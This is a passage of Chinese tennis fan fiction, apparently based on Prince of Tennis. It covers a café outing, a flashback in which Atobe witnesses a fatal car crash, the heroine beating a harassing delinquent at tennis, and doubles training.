明亮的阳光透过玻璃窗毫不吝啬铺了满室,将空气照得温暖干燥,也为女生亮银色长发洒落了浅淡的、浮动的金色尘埃。
垂眸时那雾气氤氲的疏离感在日光中无声消融,连翻阅着菜单的葱白指尖都让平平无奇的册子显得高级了起来。
察觉到侍应生的注视,夕浔回望向她,眉眼弯了弯,轻声却坚定地婉拒对方好意:“抱歉,我不喜欢黑森林蛋糕。”
怎么连拒绝的话都能说得这么好听。
侍应生微微红了脸颊,一时没顾上往下接话。
凤本来还在怕雾岛被侍应生误以为两人是情侣而生气,没想她一句话就揭过这茬,悬起的心落了回去,不由松了口气,温言出声:“他们家的玛格丽特披萨、提拉米苏和慕斯蛋糕也很不错。”
来之前凤也是做了攻略的,这都是网上大家推荐较多的食物,恰好也与刚刚侍应生小姐介绍的重合,他才敢放心给夕浔安利。
点完单等待的过程中,两人不知不觉就又聊到了网球的话题。
“避震器的话,一开始学网球的时候都有用过的,放置在拍线靠近拍喉的交叉处减震效果确实很好,还能让挥拍更稳定……”讲到熟悉的话题,凤长太郎眼睛明亮。
“不过后来迹部部长说职业选手很依靠拍线震动时传递的感觉,而避震器会让手部发力有一定的模糊化,不利于训练重炮发球,我就渐渐不再使用了。”
为方便夕浔理解,他甚至还停下来用右手比划了一下,颈间银色的十字架项链因着这动作晃了晃,折射出熠熠的光泽。
“起初确实有些不习惯,但是后来适应之后,发球速度确实有了很大提升。”
讲到这里,凤不好意思挠了挠后脑勺:“感觉避震器有点像给弹簧裹了棉花,舒适是舒适,但也影响力量的传导。”
“这比喻好形象。”夕浔笑了,手指攥着吸管,不紧不慢搅拌着杯中的果汁和冰块,让二者混合均匀,半晌才抬起头,好奇问道,“那凤君是怎么度过适应期的?我想找经验借鉴下。”
“如果
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想逐步替代掉避震器的话,可以试试把拍线换成软线,再配合做些腕弯举、反握弯举训练,将前臂肌群强化后也能很好地提升抗震动能力。”
这都是相当实用的经验,夕浔点头应下,但除了球拍以外,她还有关心的问题。
“那凤君目前重炮发球的一发进球率稳定下来了吗?”
“目前还没有。”
“分明就是有!”
向日岳人猛然拍桌,灰瞳圆睁,努力试图说服淡定干饭、左耳进右耳出的泷荻之介。
“我真的觉得长太郎肯定是对那女生有意思。”
见泷荻之介摇头不语,一脸“你在开玩笑”表情,向日岳人难耐地磨着牙齿,拳头用力攥紧了又松,松了又紧。
他正想拉忍足为自己佐证,扭头就看到用餐完毕的忍足侑士单手托着下颌,侧身凝望着窗外,不知想到什么,褐眸中缓慢浮沉着忧郁又神秘的气质。
海蓝色碎发掠过平光眼镜,日光落在他肩头,仿佛时光都在刹那间定格,唯美得如同漫画电影中的镜头,连路过的猫咪都不禁放慢了脚步。
向日岳人面无表情转过头。
好了,侑士在凹他昨天看的电影里面男主的招牌造型。
可是——
可是!
向日岳人心中痒得刺挠。
啊啊啊,怎么就没人愿意和他一起吃瓜呢。
怎么大家对长太郎有好感的女生都半点都不感兴趣呢。
“岳人,你还有空对长太郎的交友这么关注……”出去同榊交谈完的迹部踏步而来,磁性嗓音低沉如大提琴,眉骨微挑,“不如今天多做两组体能训练怎么样?”
“不要!绝对不要!”向日岳人惊恐后退三步,双手在胸前大大交叉,就差喊出“nonono”了。
他不就是想吃瓜嘛,做错了什么。
但摄于迹部的淫.威,他果断摇头如拨浪鼓:“我什么都没说。”
为表诚心,他还特意以手作拉链在嘴上比划了下。
迹部似笑非笑睨他一眼,施施然落座。
“嗯哼,你最好是。”
满眼悲愤的向日扭头试图寻求搭档忍足的安慰,眼角余光却在视野中捕捉到熟悉的身影,缓缓眨了下眼。
他目不转睛看着自街道对面拐角处走出来的人。
“欸,那不是长太郎……”
向日岳人下意识呢喃出声,被迹部倏然扫来的眼神注视着,忍不住指着对面为自己辩驳。
“不是,我是真的看见了长太郎。”
兴许是这次向日岳人的表情过于无辜,迹部景吾将信将疑朝他所指方向投去一瞥。
先他半步注意到凤身影的忍足推了推眼镜,视线漫不经心掠过他身侧的女生。
当女生不经意侧过脸同凤交谈时,忍足终于看见了她模样,不禁呼吸微窒。
与此同时,他内心反复刷屏过一句话。
哇哦,搞不好岳人说的是真的!
忍足侑士沉浸式看戏的心态过于明显,以至于没发现对面的迹部景吾在须臾挑眉后,手指不自在地抚上泪痣,眸中划过抹深色。
微妙的担忧混杂着更复杂的情绪在心头涌动,一时竟称得上百感交集。
是她啊。
24.迹部
迹部家的生意做得很大,经营领域涉猎广泛,近些年也在尝试向国外市场开拓。
即将升上国二的迹部景吾学业社团家族事业都没落下,成功竞选上冰帝网球部副部长的同时,也在母亲的指示下,接手了一个莫桑比克援建项目的合作洽谈。
这个项目还涉及到国内第三方公司,援建的建设工作需要由他们完成,迹部财团在其间起到牵线搭桥的作用,但建设完成后,根据协议,迹部财团旗下的各种品牌和生产线能够进驻当地。
既提高当地就业率与经济活力,又能扩大迹部集团的商业版图和影响力,对于他们和那边都是互惠互利的事情。
唯一麻烦的在于莫桑比克当地地质环境特殊、基础设施几乎空白,建设难度极大,综合考量下来国内目前只有BA公司旗下的一支建设团队能够胜任这个任务。
母亲能放心将这个任务交给他,是因为他们给到的价格对于BA公司也极有吸引力,但考虑到项目本身的难度,BA公司还是将决定权交由建设团队的负责人定夺。
川流不息的人群,五彩斑斓的霓虹灯光交相闪烁,热闹的东京都市在夜间更显出炫彩夺目的不真切感,喧嚣与安静交错,灯光流转间,将写字楼前玻璃窗中他的倒影都衬得模糊而虚幻。
迹部景吾刚刚从公司出来,打电话让司机先不用来接自己,就顺着这条繁华的商业街往下走。
他对这片不算陌生,但多是在私家车上经过,倒不曾如此真切地感知这里。
只是此时的迹部却也没有太多欣赏的心情。
建设团队的负责人常年在海外接触类似项目,接下这单的丰厚报酬甚至更比从前,他一时想不到对方犹豫的理由,也不知从何入手。
合作要的是诚心。
迹部景吾想起母亲的话,在心中如是告诫自己,大脑逐渐冷静下来。
拐过街角,他停在斑马线前,望着人行横道对面的红绿灯兀自出神。
耳边忽然“轰”的炸响!
整个喧嚣而井然有序的街道骤然被这意外撕开个巨大的缺口,陷入失序的混乱中。
碰撞声、轮胎急速摩擦地面的刺耳刮响。
相撞后被甩飞的车辆猛然撞上路边的护栏,地基质量兴许偷工减料的护栏钢管被巨大冲击力击飞出去,尾部尖锐的几道金属冷光急速射向路旁安静等待的行人。
尖鸣撕裂了短暂的静止,人群蚁潮般慌乱闪避后撤。
站在最外围的迹部几乎是被人流挤到绿化带上的,等到重新站稳后,他打眼瞧去,才注意到站在最前面的应该是对母女。
她们的位置太靠前,以至于在人流中难以向后闪躲,但飞驰而来的其中一根钢管,赫然指向女生的方向。
电光火石之间,那母亲爆发出惊人的速度,将女儿扑倒在地,她却迟了半步,被犀利钢管洞穿了身体。
刹那间,行人哗然。
只有淌了满地的鲜血和远处燃起火光的车辆昭示着发生了什么。
他听到周围有人颤着声音在拨打急救电话。
“喂,是医院吗?这里发生了一场车祸,地址是……”
迹部张了张唇,深蓝色瞳孔倒映出喧嚣的人群和冲天的火光,手臂磕到地面的划痕传来不算明显的疼痛感,但他却顾不上这个,目视前方,心神震颤。
他不曾想到自己会因为这样的原因,如此近距离接触死亡。
明明脚步冻住般僵硬,但心脏跳动的频率却高到吓人,仿佛转瞬就要跃出胸腔。
迹部觉得自己的灵魂似乎离开了躯壳,在天空盘旋看着眼前这场荒诞的闹剧。
空气中弥漫开刺鼻的汽油味和烧焦味,将思绪拉扯拽回眼前的现实。
他愣了三秒,意识到发生什么后,忽觉一股热血自胸腔涌上大脑,下意识掏出手机,点开通讯录中的联系对象拨通。
忙音响了几声,很快被接通。
电话那头的人恭敬问道:“少爷要回家了吗?”
他听到自己的呼吸沉沉混入污浊空气中,却用置身事外般的轻松口吻,对着那头的管家说道:
“我这里发生了车祸,你让……”
距离这个区域最近的附属医院医疗资源堪称优越,但也正因此,救护车资源相当紧张,本来他们收购医院后已经注入资金,新采购的车辆下个月就能到位,但那无法解决眼前的困境。
恰好医院那边因为迹部家成为大股东,为上任大股东长期保留的两辆空置救护车也顺势被他们拥有。
有钱人多有专门的医院,用救护车的次数屈指可数。
他还记得自己当初嗤笑对方“有这搞特权的功夫,却不愿多增加几辆救护车”,没想到有天这回旋镖也会转回自己身上。
挂断电话,迹部浑身凝滞的血液似乎重新恢复了流动,他迈开脚步,越走越快,拨开星子般散落的人群,跑到那对母女的身边。
直到此时他才发现,流了满地的鲜血几乎都来自倒地的女儿磕到的头部,而被钢管洞穿的母亲胸口只有微弱的起伏。
迹部顿住脚步,呼吸急促几分,他勉强自己找回理智,弯下身子,试图唤醒昏迷过去的女儿的意识。
“你还好吗……”
昏昏沉沉的女生应该听到了他的话,挣扎着掀开眼皮,雾蒙蒙的眸却如失去焦距般茫然迷离,湿热猩红的血液从她额头往下淌,流到眼睑,铁锈味糊了视线,将黑色的世界笼上血腥味。
她目光涣散,缓慢地眨了眨眼,待发现怎么努力都看不清眼前的黑暗时,顾不上满手摸到的粘腻触感,尝试着握住母亲的手,指尖却只触到逐渐流失的体温。
“妈……妈妈……”
喉咙发出的声音沙哑,起先是试探的、亲近的呼唤,直到几次呼唤得不到回应后,逐渐变成愈发颤抖的泣音。
从她眼尾不断溢出的不知是血还是泪,混合着大颗大颗往下坠,脸上也浸染着无数血液。
确认了暂时安全的行人三三两两围上来,悉悉索索的讨论声让身处其中的迹部从脊背到身体阵阵发冷。
在慌乱嘈杂中,他只能呼喊着让周围人保持安静,又按住女生发颤的肩膀,避免她因为看不清碰伤身上的母亲。
迹部竭力让自己的声线保持冷静,试图传递给她微不足道的力量。
“救护车很快就来了……”
误以为迹部受了伤的管家给医院打过电话后,救护车来得很快。
相撞的两辆轿车司机及乘客无一生还,只有几名被护栏误伤的行人,通通都上了救护车。
简单处理过伤口后,迹部听到管家向自己转述医生的说辞。
“轻伤的行人包扎后很快就能出院,那个女生经过初步检查,医生判断是脑部震荡引发的牵拉,造成视神经功能暂时性受损,修养几天就能恢复正常视觉。幸亏及时赶到进行救治,再迟上一些可能就会造成不可逆的视力损伤。”
迹部景吾没有吭声,短暂的沉默后,他出声问道:“那位母亲呢?”
应该不是错觉,迹部注意到管家波澜不惊的神情停顿了片刻,像是迟疑着如何回复,好一会才道:“目前还在抢救中,但医生说……凶多吉少。”
心陡然沉了下去。
迹部倏忽阖上眼,又看到混合着血液的泪水在眼前蜿蜒开来。
夹杂着人群的絮语和女生沙哑的声音,在耳侧织成嗡鸣的、仿佛从另一个世界传来的钝响。
那种生死之际的患得患失感与眩晕的失重感袭卷漫灌,不断拽着他往下陷落。
迹部手攥成拳,又忽而脱力般松开,他大脑空白,好半晌才慢慢站起了身。
“少爷,你已经尽力了。”
管家安慰的话语响在身后,迹部将手放上门把手,眉眼垂落,下颌绷紧成棱角分明的曲线,牵强扯了扯唇角,却发现自己说不出话来。
他静静伫立了几息,才缓声道:
“松田爷爷,我知道了——”
“我只是,想去看看。”
管家没再出声,目送着他离开。
迹部景吾走到手术室门口,在等待的少女旁边坐下。
女生头上的伤口已经涂药包扎好了,视线仍无法聚焦,但维持着某种奇异的沉静。
灯光落在她浸了血的银色长发上,缄默坐在椅子上的背影,仿若一尊凝固的蜡像。
她终于察觉到他在旁边坐下,微微偏头转向他。
因失血过多而发白的唇瓣翕张,喑哑的声调顿了几次,才拼凑成不成句的音节。
“……谢谢。”
迹部正想回应,手术室门口“手术中”的灯牌却忽闪了两下,由红转暗。
手术室大门被砰然打开。
呼啦啦走出很多人,医生、护士,推着病床上的人。
这动静让原本安静坐着的女生猛地站了起来,动作急切到她险些趔趄,她保持着身体的平衡,直直望向医生
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的方向。
医生也知道她暂时看不见,于是沉重叹了口气,道:“家属准备好同病人告别吧。”
迹部仿佛看到那尊蜡像在叹息声中融化了。
但她很快又强打起精神,把自己拼起来,在护士的搀扶下踉跄跟到病房。
迹部鬼使神差地也走到病房门口。
从眼前突发意外起,他心头就沉甸甸的,压着块大石。
他说不出那是什么。
可能是死亡的威胁离自己太近带来的冲击,也可能是见证数条生命在眼前消逝的怅惘。
但理智告诉他,到这里就足够了。
突如其来的车祸,恰好有条件能帮上忙的助人为乐——
正如松田爷爷所说,哪怕结果仍然不尽如人意,他已经尽力了。
想明白这点的迹部景吾不愿打扰母女的最后交谈,正要离开,却听见一阵匆忙的脚步声停在身前。
迹部微微蹙眉,抬眼看向来人,却在看清那人面容时诧异睁大了眼,而后不知想到什么,神色苍白了几分。
“雾岛先生……”
接到电话从公司赶来的雾岛中矢风尘仆仆,瞧上去比迹部印象中的模样沧桑了好几岁。
他已经听医生说了两人的情况,也知道正是迹部景吾的原因,女儿的眼睛才不至于造成永久性的损伤。
虽然他认为对方会出手相助有可能是……
但此刻并不是谈这个的时候。
不管出于什么原因,这份情他们承认。
雾岛中矢朝迹部深深鞠了一躬,低沉嗓音带着十足的认真慎重:“感谢您出手相助。”
“和贵公司的合作,我应下了。”
“容我先失陪。”
说罢,雾岛中矢顾不得同他寒暄,已经急匆匆推开半掩的病房门,上前揽住女儿,同她一起等待床上人的醒来。
错愕,恍惚,不可置信。
迷茫与——
痛苦。
未来得及说出口的话就这么堵在喉咙,不上不下。
迹部景吾僵立在原地。
双足在病房前那寸光可鉴人的地板上扎了根,动弹不了半分。
他停了半秒,视线倏然落到病房中女生的身上。
她在父亲的怀中没有言语,攥着母亲的手握得很紧很紧,仿佛这样就能牵住对方的心神,让她多眷恋这个人世间哪怕一分一秒。
显示着心电频率的机器仍在“滴滴”运转,成为死寂病房中仅有的声音。
迹部不知道女生听到了多少。
很奇怪,也很可笑。
他之前分明很想达成这份合作,哪怕算是阴差阳错的出手相助最终实现了目的,按理来说他应该……
他应该有成就感。
在大局面前,因为什么样的原因达成结果似乎不重要,可是——
少年人说不清道不明的自尊心如同丝线,缠绕成密集的网,把他困在名为道德的囚笼中,囚笼生出荆棘,动辄刺疼,让他扎了满手的鲜血。
那句没来得及回应的道谢,会被误以为是动机不纯的心虚吗?
他想说出口,想解释。
想说他对合作对象雾岛先生家庭情况的背调,只到对方几年前与前妻离婚,女儿由妻子抚养就停止了,想说散步与遇到突发事件完全是意外,打电话之前他也不知道她们的身份……
虽然这一切巧合到几乎难以用常理来解释。
迹部景吾并不是会任由误会滋长而不沟通的性格。
他深吸口气,右手已经扶上了门框,却看到病房里,女生的眸子因为母亲的醒来氤氲开希冀的光。
迹部忽然松开了手,后退,迈步离开。
没关系,会有机会的。
他对自己说。
只是后来的葬礼上,他代表财团参加,女生也没有出现。
而雾岛先生对他说,希望迹部不要主动去接触女儿,避免她想起悲伤的回忆。
雾岛先生说起这话的时候,神情哀戚黯然。
迹部直觉其中另有隐情,但出于礼仪,他没有探究。
“好。”
于情于理,他都无法拒绝这位父亲的请求。
与此同时,迹部在心里对自己说。
罢了,比起生死大事,他关注的理由实在渺小得不值一提。
反正——
她大抵不会记得他。
也最好不要记得他。
25.会场
午后的阳光热意依旧,运动公园里的各个网球场随着人流的回归又重新热闹起来。
下午场的比赛还未开始,但参赛队伍已经开始了热身。
凤因为队伍的缘故暂时离开一段时间,夕浔坐在树前的草地上,小幅度抬起腿、放下,循环往复,利用空闲时间做做肌肉练习。
这种天气不用比赛其实是很舒服的事情,坐在树荫下,微风和煦,吃饱喝足更让人容易犯困,但克服潜意识里的惰性同样是运动的必修课程。
长谷川教练看出她的肌肉柔韧性和运动神经相当不错,只是接触网球的时间短,边惋惜没有早点发现这样的苗子,边让她充分利用闲暇时间锻炼。
对于正在发育的身体而言,练习量的增加并不直接与时间推移挂钩,反而需要考虑到身体的承受限度,兼顾全身机能的平衡。
教练这段时间很重视让她做提升不同身体部位的训练,旨在将身体素质恢复到最佳状态,便于更好发挥她的潜力。
做完一组练习,夕浔站起身,剁了跺脚让腿部肌肉放松下来,左肩却被牵动,疼得她当即“嘶”了声。
虽然医生说没有大碍,但比起在医院的时候,似乎痛感更加明显了。
夕浔试探性摸了下被撞伤的地方,霎时又是倒吸一口凉气。
“这回去不得被教练数落嘛。”
想到电车小偷撞了她后扬长而去的背影,夕浔深深叹息,继而越想越气、愤愤不平,为自己失去的训练时间和无形失去的寿命扼腕。
那个该死的小偷,最好别让她再撞见他第二次!
要不是她今天怕在医生面前露馅没带球拍,怎么可能让他就这么逍遥离开。
系统:【……】
竟然半点不觉得意外。
总感觉相处日久,宿主逐渐暴露本性。
不过系统并非死板,宿主受伤后理应及时更换适合的训练任务。
【叮,检测到宿主身体情况变化,系统已更新每日任务清单,请宿主稍后自行查看。】
脑海中传来机械音声响,夕浔先是一怔,旋即用右手捂住眼,忍不住笑了下。
听到笑声,饶是系统自诩对宿主已经有所了解,还是不禁产生怀疑,她那番话难道都是对自己说的?
出乎意料,这次夕浔倒是很快回应它。
【不是,这次是真骂。】
【只是还没开口同你商量,你就提出解决措施了。】
【看来我们的默契越来越好了。】
系统:……
它无言以对,憋了半天才冒出来句:【宿主以前不是这样的。】
闻言,夕浔指尖抵着下颌沉吟片刻,忽而唇角向上,心情很好的模样。
【可能是因为,发现不论喜怒哀乐,都不会再感觉到疼痛了吧。】
绑定系统这段时间以来,虽然每天都要进行辛苦的训练,但她也确实收获了久违的、健康的身体。
尽管从前的记忆蒙了纱,变成遥远的过去,但幸运的是自己重新拥有了情绪的自由。
苟延残喘也好,死前的大梦一场也好,总归是体验到了正常人的生活,她没有什么好不满的。
而每次对系统的试探,和每次加大情绪波动的尝试,熟悉成百上千遍的痛觉都没有再出现,更让她确定这不是上帝同她开的玩笑。
听到宿主想法的系统沉默,并默默收回原本对宿主的吐槽。
夕浔重新走了几步,彻底放松肌肉后又坐回原地重复训练。
几组训练后,她从包里取出之前没看完的书籍,继续往下钻研。
挑战对象可以有很多个,但是实力的大幅度跨越却无法一蹴而就,在有限的能够挑战的对手中,将获取积分效率最大化是当务之急。
凤长太郎带着水回来时,远远就看到她坐在树下安静看书的身影。
和煦的阳光穿过叶隙,在她发梢投落斑驳的光影,骤然风起,将她压在帽子下的发丝吹起几缕,纷纷扬扬,来往的行人脚步放慢,而凤盯着那点落在她指尖的光,恍惚间呼吸都忘了半拍。
直到掌心的冰凉感唤醒他的理智,他才后知后觉松了力,慢慢走上前去。
“雾岛桑,给你。”
夕浔抬头瞧见凤递到手边的水,正好看完眼前这页,她便用书签夹好,笑着伸手接过:“凤君来得巧,谢了。”
凤长太郎刚想回应,几米外却有个突兀的声音插进两人的对话。
气焰嚣张,趾高气扬。
“小妹妹,他没意思,和我去约会怎么样?”
两人同时朝音源看去,就见到个高中生模样的不良少年,身后跟着两个小弟,神情轻蔑张狂,只是那目光移到夕浔身上时,又变成一种粘腻而微妙的笑。
察觉到那笑容中的恶意,夕浔唇角的弧度消失了。
凤长太郎起先没反应过来,直到扭头看到对方的眼神,表情骤然沉下来,棕瞳中凝聚着无形的风雨,他直起身,声音冷硬下来。
“请你们道歉。”
夕浔第一次意识到原来凤也有这么攻击性的时候,原本怒气上涌的大脑反而诡异地卡壳了几秒。
高中生不屑嗤笑:“凭你也配让我道歉?”
说完,他伸手要拨开凤长太郎,没想到这随意一手却没能把对方推开,他皱眉,手下更加用力,手腕却忽然被对方抓住。
高中生不满仰头:“喂!你小子!”
“道歉。”
高中生撞进一双褐瞳,主人长得像被父母老师常夸的典型乖学生——他最讨厌的类型,但乖学生此刻面色沉得能够拧出水,下颚绷紧,攥着他的手腕力气大到不可思议。
那高大的身材挡在面前,犹如一堵难以翻越的高墙。
高中生用力甩了两下,完全没法挣脱,表情顿时难看起来,扭头朝着两个小弟大喊道:“你们还愣在那里干什么?”
两个小弟也没想到大哥会这么容易被制住,呆滞在原地,听到这话,立马反应过来,上前想帮忙找回场子。
三人气势汹汹,显得拦在高中生面前的凤愈发势弱,但他不闪不躲,脚下亦不肯挪动分毫。
人多我寡,势不在我。
夕浔衡量场上局势后,站了起来:“等等——”
清润的声线在剑拔弩张的场合中自带镇静效果,几人循声看向她,就见她唇畔扬起一个人畜无害的笑容,温吞吞道:“我可以和你约会。”
凤瞳孔震颤,下意识松了手。
高中生三人组神情轻松下来,两个小弟更是不怀好意地窃笑出声。
“搞什么嘛,这小子还以为自己英雄救美,没想到人家压根就不需要他哈哈哈。”
“肯定是早就被我们大哥的英姿迷倒了,还想玩欲擒故纵那套……”
高中生恶狠狠剜了怔愣的凤一眼,立刻越过他,大跨步朝着夕浔走来,嘴上还说道:“这就对了嘛,早点答应不就省事了。”
“不过我今天是来看比赛的,你说他弱的话,总得证明你比较强才行吧。”夕浔不紧不慢补充了句。
高中生面色再次阴沉下去:“搞什么……”
面对对方的施压,夕浔面不改色,甚至还有功夫慢条斯理抚平袖子上的褶皱,眉眼弯弯:“也不难,打赢我怎么
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样?就当让我见识见识第二种子队伍的实力。”
见身份被道破,高中生志得意满地抬起下巴。
原来只是小女生想同他调.情的手段。
“那还不简单!”两个小弟扑哧笑出声,“我们大哥可是黑木的正选,打场比赛就当是赛前热身了。”
“还接着打吗?”
空旷的球场中,凤报出“6-0”的结果,宣告比赛结束。
夕浔走到球网前,笑眯眯看着对面气喘吁吁跪在地上的高中生,语气称得上耐心温和。
“时间还很充裕,我可以再陪你热热身。”
对面的高中生本来瞳孔已经涣散,听到这话却忍不住打了个颤,忙不迭摇头,连声道:“对不起对不起!”
看到大哥从意气风发变成丧家之犬,场边两个小弟呆立原地。
场地中央的女生秀发高高束起,露出光洁饱满的额头,一场比赛下来出了汗,但她眉宇轻松,浑然不在意的模样,指尖抵在拍柄尾部的字母兜兜绕着圈,仿佛她才是那个赛前热身的人。
坐在裁判椅上的凤,视线无法自控落在夕浔身上,目光越来越明亮。
原来雾岛桑这么厉害。
远处本来是路过,但最后变成现场吃瓜的向日岳人“哇”的一声,拽着忍足侑士窃窃私语:
“她好厉害,那球居然还能那么穿过去,都不往上弹,给那家伙吓得,哈哈哈哈,笑死我了!”
忍足侑士颇为赞许点头,那个球简直就是神来之笔。
发球局用ACE球接连施压,接发局则在对方最拿手的上旋球上完美回击,破坏对方的心态,又各种大角度调动球迫使对方来回奔跑,能够在男女存在客观体力差距的情况下,打出这样的比赛,不可谓不精彩。
当然对手似乎确实水平有限就是了。
迹部景吾轻轻哼笑一声:“行了,既然见着人了,先去比赛场地吧。”
“好啦好啦~”好奇心得到极大满足,向日岳人这次爽快应下,“走走走!”
转过身,背对着他们的迹部唇角不经意扬起,深蓝色的眸中溢出细微的笑意。
看来她已经走出来了。
从球场走出来,夕浔把球拍还给凤,确认已经到几个高中生看不到的地方,才不太舒服地按了按左肩的位置。
之前赛场上的游刃有余有一半是装出来的。
虽然谨遵医嘱,尽量避免使用左手,但在少有几次打反手拍的时候,受伤的肩膀发力还是相当勉强。
加上凤的球拍比她的重,稍微有些不太适应。
凤长太郎从她的表情中瞧出端倪,担忧道:“是受伤了吗?”
“没事,只是球拍还不太适应。”夕浔把这话题揭过去,又对他说,“凤,黑木待会还有比赛,我怕他们输了比赛还要找人算账,你方便的话,咱们先离开吧。”
黑木她之前也有所了解,国中组实力不错,高中组大抵是强的选手都选择去了网球名校,常常止步都大会一二轮,这也是她能够击败对方的原因。
从公告栏来看,对方下午场还有比赛,她有信心他们怕被禁赛不敢动手,但如果比赛输了,就不好说了。
凤却一时半会没从她称呼的转变中回过神,“啊”了一声,好半晌才道:“……好,我同部长说下。”
夕浔往外走出几步,突然想起什么,回过头:“对了。”
凤这次反应很快:“怎么了吗?”
她倏忽笑了起来,弧度很浅,却晃得那双雾霭蓝的眸漾开圈圈涟漪。
“怎么说也算是好朋友了,不介意的话,叫我雾岛吧。”
26.回复
在医生说尽量不要动用左肩后还偷偷打了比赛,夕浔内心还是有几分惴惴的,于是在参观完冰帝、和凤辞别后,她特意又回了趟医院。
直到同医生再次确定修养几天就能好,夕浔才终于放下心来。
要是因为这样的原因不能参赛,她还不得被教练训死。
隔天夕浔果不其然受到了长谷川教练“爱的关怀”。
不过她没敢说出自己打了比赛,只说自己是路见不平被小偷撞伤了,长谷川一时只觉又气又好笑。
“真是拿你没辙,下次见义勇为也要注意自身情况啊。”顾及到办公室还有其他同事,再想到夕浔好歹是做好人好事,长谷川揉着眉心,倒也没说太多狠话。
见教练明显有松口倾向,夕浔认错态度良好,当即保证道:
“我下次一定注意。”
见她这样,长谷川有气也不舍得发了。
想了想,她给出个解决方案:“这几天你先做下肢循环运动吧,然后试试右手对墙切削,注意保持平衡。”
“做完练习后,去浅间和千岛她们那边观察下双打的训练。”
夕浔先是点头应下,又困惑提问:“双打训练?”
这是打算让她下场比赛打双打吗?
“是的,下场我计划安排你去双打。趁着县大赛能遇到各式各样的对手,多进行不同的尝试也有助于你的提升。”
说话间,长谷川利落在便利贴上写了几行字,将纸张撕下来递给她:“去同高野说你的训练任务更换下。”
“对了,记得看浅间和千岛她们的训练,森绘和森理她们的训练方式不太适合你。”
留下这句叮嘱,长谷川就和同事开会去了。
夕浔拿着便条找到高野,正在监督训练的高野凉闻言先是平静让部员继续训练,待走出球场后又摘下墨镜,不放心地对她左瞧右瞧。
“真的没事对吧?”高野凉盯着夕浔袖子里露出半截的白色绷带,又确认了一遍。
她亲手挖掘的宝藏,可不能这么快就明珠蒙尘啊。
“对的。”夕浔无奈笑了下,“医生都说过了。”
要不是只有几天时间,她都差点要忍不住购买修复液了。
不过一瓶修复液十万,攒积分不易,能省着点花还是省着点吧。
“行。”高野凉心弦松下,重新扬起嘴角,“这几天我会给你减少练习量的,你也去浅间她们那边也多观摩观摩。”
浅间静香和千岛弥同样是今年才选出来的正选,虽然这对双打搭档实力没有森姐妹那么强势,但两人都有三年球龄,而且从小学起就是朋友,默契也是旁人难以比拟的。
学习双打的话,从她们身上学起还是容易入手些。
喜提减量练习后,夕浔溜达到浅间静香和千岛弥的球场,她没打过双打,之前分区预赛对手的水平也不足以让队内的双打发挥出全部水准,这还是第一次认真细致地观察双打训练。
两人正在进行盲打信任训练。站在网前的浅间静香戴着黑色眼罩,完全依靠千岛弥的指令拦截来球,而井上爱正站在对面半场给她们喂球。
“右!”
简单短促的音节从千岛弥口中发出,小球从井上爱的半场越过球网,带动空气细微颤动。
几乎同时,浅间静香脚步飞速朝右侧跑去,顺着风声的方向挥拍。
很遗憾扑了空,不过在后场的千岛弥还是迅速补位接上这球。
几次训练后,浅间静香愈发适应操作,偶尔也能成功拦截到球了。
两人互换位置,由千岛弥戴上眼罩。
夕浔站在旁边,看着黄色小球不断在两边交换。
训练双打默契才是主要目的,是以井上爱喂球的速度并不算快,但二十分钟的训练下来,浅间和千岛还是出了满身的汗,只有井上爱一派轻松,淡定走到场边给自己补水。
看到夕浔,她颇为诧异挑了下眉:“雾岛你怎么……”来这边了。
话没说完,井上爱就注意到夕浔左手上的绷带,表情担忧:“这是怎么了?”
夕浔简单讲述了下事情的来龙去脉,成功收获井上爱同情的眼神。
不过她到底比高野靠谱,闻言只是点头肯定,又道:“你来的时间挺巧,她们刚刚在进行盲打信任训练。”
两人这时已经走了过来,浅间顾不上说话,忙不迭拧开水壶,咕噜噜灌下几大口水,才后怕道:“这训练太可怕了,还好一周就一次,多来几次真的遭不住。”
千岛弥更是只能摆手不能说话,盖着毛巾差点没缓过来。
井上爱此刻反而和颜悦色:“那就说明教练安排的训练是相当有效的,一方面能提升你们的配合默契,另一方面还能训练你们的反应能力。”
夕浔在旁边听着直点头。
盲打信任挑战主要依赖感觉代偿效应。
通过戴眼罩的方式强制关闭视觉通道后,球员的听觉皮层活跃度会大幅度上升,再加上同伴的声音指示,便能够较为有效地建立起“声音-动作”条件反射链。
这样训练过的双打搭档,在实战中遇到视觉盲区时仍然能够保持精准协作。
只是为了避免神经过载,这样的训练对于少年选手而言,一般每周会控制在二十分钟左右。
“虽然但是……”浅间静香叹气,“黑暗中接球实在太考验心态了,前辈有时候插入干扰指令也会影响我的判断。”
“而且挥空拍还不是最吓人的,对球落点不确定性带来的迟疑更可怕。”
脚步在网球练习中的重要性毋庸置疑,通常在对手发球的瞬间就得做出反应,稍有迟钝便会错失良机。
但偏偏对手发球之时,蒙着双眼的她无法确定球的方位,只能依靠同伴的指令做出反应再进行后续判断。
只是同伴的指令给出了方位,甚至也能给出球型,剩下的却要依靠自己来判断。
黑暗环境使她难以及时注意到自己的情况并调整。
跑动是否到位,步伐太快还是太慢,会不会撞到网或者越过球,挥拍的瞬间球会不会正好擦过去……
等等这些,都让人禁不住自我怀疑。
当怀疑产生,下一球来临时便会更加狼狈,只能迅速地调整好自己的状态,然后继续自我怀疑,陷进去就是重蹈覆辙、恶性循环。
千岛弥也深有同感点头。
听到夕浔说完来意后,两人禁不住眼睛一亮。
“欸,那雾岛也要来试试嘛!”
夕浔十分干脆、果断地拒绝,生怕迟上半秒就会引发误会。
“我还是个伤患。”
“好可惜……”千岛弥话刚说出口,又在井上爱充满威慑力的眼神中飞快改口,“好可惜这周不能见到雾岛场上的英姿了。”
夕浔沉默了三秒钟,就算她对于双打的理论积累远远比不上单打,但也知道刚刚双打入门的自己应该用不上这么有难度的训练方式。
浅间和千岛想拉她下水的心思简直昭然若揭。
“嗨呀,虽然这么说,但是两位森前辈们就很厉害,之前看她们俩练这个,接球那叫一个丝滑。”回忆起之前看到的画面,浅间静香满眼羡慕,“什么时候我和弥酱也有这个默契多好。”
“你醒醒,”千岛弥无情
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揭穿她的幻想,“那得我们先克服自我怀疑阶段才行。”
井上爱此时倒颇得高野真传,对两人意味深长道:“这种精神训练也是提升实力的重要环节。”
浅间静香、千岛弥:“……”
很想反驳,但不敢反驳。
晨训结束后,夕浔回到教室,还在猜测如果自己打双打的话,搭档会是谁。
今天切原难得比她来得还早,此刻正坐在座位上美滋滋欣赏着刚发下来的月考试卷,逢人就开始炫耀他的英语成绩。
“欸,你怎么知道我这次这次排34名,比上次前进了整整十五名!”
被逮住的同学无语凝噎:“……没问,谢谢。”
